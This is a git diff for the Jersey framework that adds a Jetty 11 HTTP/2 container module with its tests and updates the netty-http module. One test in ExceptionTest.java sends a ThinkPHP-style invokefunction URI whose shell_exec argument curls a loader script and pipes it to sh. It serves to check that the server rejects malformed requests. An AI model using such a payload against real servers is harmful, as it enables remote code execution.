+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see Jetty11HttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final Jetty11HttpContainer handler,
+ final boolean start) {
+
+ /**
+ * Creating basic Jetty HTTP/1.1 container (but always not started)
+ */
+ final Server server = Jetty11HttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
+ /**
+ * Obtain configured HTTP connection factory
+ */
+ final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
+ final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
+
+ /**
+ * Obtain prepared config
+ */
+ final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
+
+ /**
+ * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
+ */
+ final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
+
+ /**
+ * adding connection factories for H2/H2C protocol
+ */
+ for (final ConnectionFactory factory : factories) {
+ httpServerConnector.addConnectionFactory(factory);
+ }
+ server.setConnectors(new Connector[]{httpServerConnector});
+
+ /**
+ * Starting the server if required
+ */
+ if (start) {
+ try {
+ // Start the server.
+ server.start();
+ } catch (final Exception e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+ }
+ }
+ return server;
+ }
+
+ private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
+ final SslContextFactory.Server sslContextFactory) {
+ final List<ConnectionFactory> factories = new ArrayList<>();
+ if (sslContextFactory != null) {
+ factories.add(new HTTP2ServerConnectionFactory(config));
+ final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
+ alpn.setDefaultProtocol("h2");
+ factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
+ factories.add(alpn);
+ } else {
+ factories.add(new HTTP2CServerConnectionFactory(config));
+ }
+
+ return factories;
+ }
+}
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
new file mode 100644
index 0000000..edc461e
--- /dev/null
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import static org.glassfish.jersey.jetty.Jetty11HttpContainerProvider.HANDLER_NAME;
+
+public final class Jetty11Http2ContainerProvider implements ContainerProvider {
+
+ @Override
+ public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || Jetty11HttpContainer.class == type)) {
+ return type.cast(new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, application));
+ }
+ return null;
+ }
+}
+
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
similarity index 77%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
index dd25372..a402b27 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey Jetty HTTP2 container classes.
+ */
+package org.glassfish.jersey.jetty.http2;
diff --git a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 0000000..2cd5dda
--- /dev/null
+++ b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerProvider
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
similarity index 89%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
index 2886c72..ba290bd 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
@@ -15,4 +15,5 @@
#
# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+error.when.creating.server=Exception thrown when trying to create jetty server.
+not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
new file mode 100644
index 0000000..1911add
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJetty11ServerTester {
+
+ private static final Logger LOGGER = Logger.getLogger(AbstractJetty11ServerTester.class.getName());
+
+ public static final String CONTEXT = "";
+ private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+ /**
+ * Get the port to be used for test application deployments.
+ *
+ * @return The HTTP port of the URI
+ */
+ protected final int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+
+ try {
+ final int i = Integer.parseInt(value);
+ if (i <= 0) {
+ throw new NumberFormatException("Value not positive.");
+ }
+ return i;
+ } catch (NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid positive integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+ return DEFAULT_PORT;
+ }
+
+ private final int getPort(RuntimeType runtimeType) {
+ switch (runtimeType) {
+ case SERVER:
+ return getPort();
+ case CLIENT:
+ return server.getURI().getPort();
+ default:
+ throw new IllegalStateException("Unexpected runtime type");
+ }
+ }
+
+ private volatile Server server;
+
+ public UriBuilder getUri() {
+ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+ }
+
+ public void startServer(Class... resources) {
+ ResourceConfig config = new ResourceConfig(resources);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final URI baseUri = getBaseUri();
+ server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ }
+
+ public void startServer(ResourceConfig config) {
+ final URI baseUri = getBaseUri();
+ server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ }
+
+ public URI getBaseUri() {
+ return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+ }
+
+ public void stopServer() {
+ try {
+ server.stop();
+ server = null;
+ LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @AfterEach
+ public void tearDown() {
+ if (server != null) {
+ stopServer();
+ }
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
new file mode 100644
index 0000000..0a3774b
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJetty11ServerTester {
+
+ @Path("/async")
+ @SuppressWarnings("VoidMethodAnnotatedWithGET")
+ public static class AsyncResource {
+
+ public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+ @GET
+ public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+ try {
+ Thread.sleep(5000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(final AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+ .build());
+ }
+ });
+ asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+ try {
+ Thread.sleep(7000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("multiple-invocations")
+ public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+ INVOCATION_COUNT.incrementAndGet();
+
+ new Thread(new Runnable() {
+ @Override
+ public void run() {
+ asyncResponse.resume("OK");
+ }
+ }).start();
+ }
+ }
+
+ private Client client;
+
+ @BeforeEach
+ public void setUp() throws Exception {
+ startServer(AsyncResource.class);
+ client = ClientBuilder.newClient();
+ }
+
+ @Override
+ @AfterEach
+ public void tearDown() {
+ super.tearDown();
+ client = null;
+ }
+
+ @Test
+ public void testAsyncGet() throws ExecutionException, InterruptedException {
+ final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+ // get() waits for the response
+ assertEquals("DONE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+ final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+
+ /**
+ * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+ */
+ @Test
+ public void testAsyncMultipleInvocations() throws Exception {
+ final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+ assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+ assertThat(response.getStatus(), is(200));
+ assertThat(response.readEntity(String.class), is("OK"));
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
new file mode 100644
index 0000000..6f0ad22
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJetty11ServerTester {
+ @Path("{status}")
+ public static class ExceptionResource {
+ @GET
+ public String get(@PathParam("status") int status) {
+ throw new WebApplicationException(status);
+ }
+
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+ request.addHeader("X-Forwarded-Host", "_foo.com");
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCode() throws IOException {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("400").build());
+ assertEquals(400, r.request().get(Response.class).getStatus());
+ }
+
+ @Test
+ public void test500StatusCode() {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("500").build());
+
+ assertEquals(500, r.request().get(Response.class).getStatus());
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
new file mode 100644
index 0000000..517d6e2
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJetty11ServerTester {
+
+ @Path("/one")
+ public static class One {
+ @GET
+ public String get() {
+ return "one";
+ }
+ }
+
+ @Path("/two")
+ public static class Two {
+ @GET
+ public String get() {
+ return "two";
+ }
+ }
+
+ public static class Reloader extends AbstractContainerLifecycleListener {
+ Container container;
+
+ public void reload(ResourceConfig newConfig) {
+ container.reload(newConfig);
+ }
+
+ public void reload() {
+ container.reload();
+ }
+
+ @Override
+ public void onStartup(Container container) {
+ this.container = container;
+ }
+
+ }
+
+ @Test
+ public void testReload() {
+ final ResourceConfig rc = new ResourceConfig(One.class);
+
+ Reloader reloader = new Reloader();
+ rc.registerInstances(reloader);
+
+ startServer(rc);
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+ // add Two resource
+ reloader.reload(new ResourceConfig(One.class, Two.class));
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals("two", r.path("two").request().get(String.class));
+ }
+
+ static class StartStopListener extends AbstractContainerLifecycleListener {
+ volatile boolean started;
+ volatile boolean stopped;
+
+ @Override
+ public void onStartup(Container container) {
+ started = true;
+ }
+
+ @Override
+ public void onShutdown(Container container) {
+ stopped = true;
+ }
+ }
+
+ @Test
+ public void testStartupShutdownHooks() {
+ final StartStopListener listener = new StartStopListener();
+
+ startServer(new ResourceConfig(One.class).register(listener));
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertThat(r.path("one").request().get(String.class), equalTo("one"));
+ assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+ stopServer();
+
+ assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+ assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
new file mode 100644
index 0000000..d5b7cc5
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJetty11ServerTester {
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ startServer(HelloWorldResource.class);
+ Client client = ClientBuilder.newClient();
+ Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(0, response.getLength());
+ assertEquals("foo/bar", response.getMediaType().toString());
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+}
diff --git a/containers/netty-http/pom.xml b/containers/netty-http/pom.xml
index 2b07fcf..c5f9e09 100644
--- a/containers/netty-http/pom.xml
+++ b/containers/netty-http/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-netty-http</artifactId>
@@ -42,6 +42,11 @@
<artifactId>jersey-netty-connector</artifactId>
<version>${project.version}</version>
</dependency>
+ <dependency>
+ <groupId>org.hamcrest</groupId>
+ <artifactId>hamcrest</artifactId>
+ <scope>test</scope>
+ </dependency>
</dependencies>
<build>
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java
index 924fb9a..3212cd7 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyHttp2ServerHandler.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -135,6 +135,11 @@
private final Map<String, Object> properties = new HashMap<>();
@Override
+ public boolean hasProperty(final String name) {
+ return properties.containsKey(name);
+ }
+
+ @Override
public Object getProperty(String name) {
return properties.get(name);
}
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
index 0b43e1e..69105a1 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/JerseyServerHandler.java
@@ -166,6 +166,11 @@
private final Map<String, Object> properties = new HashMap<>();
@Override
+ public boolean hasProperty(final String name) {
+ return properties.containsKey(name);
+ }
+
+ @Override
public Object getProperty(String name) {
return properties.get(name);
}
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java
index cbd7fe4..d6e8508 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainer.java
@@ -41,6 +41,11 @@
this.appHandler.onStartup(this);
}
+ NettyHttpContainer(Class<? extends Application> applicationClass) {
+ this.appHandler = new ApplicationHandler(applicationClass);
+ this.appHandler.onStartup(this);
+ }
+
@Override
public ResourceConfig getConfiguration() {
return appHandler.getConfiguration();
diff --git a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java
index 6f926c0..3d78837 100644
--- a/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java
+++ b/containers/netty-http/src/main/java/org/glassfish/jersey/netty/httpserver/NettyHttpContainerProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2021 Oracle and/or its affiliates. All rights reserved.
*
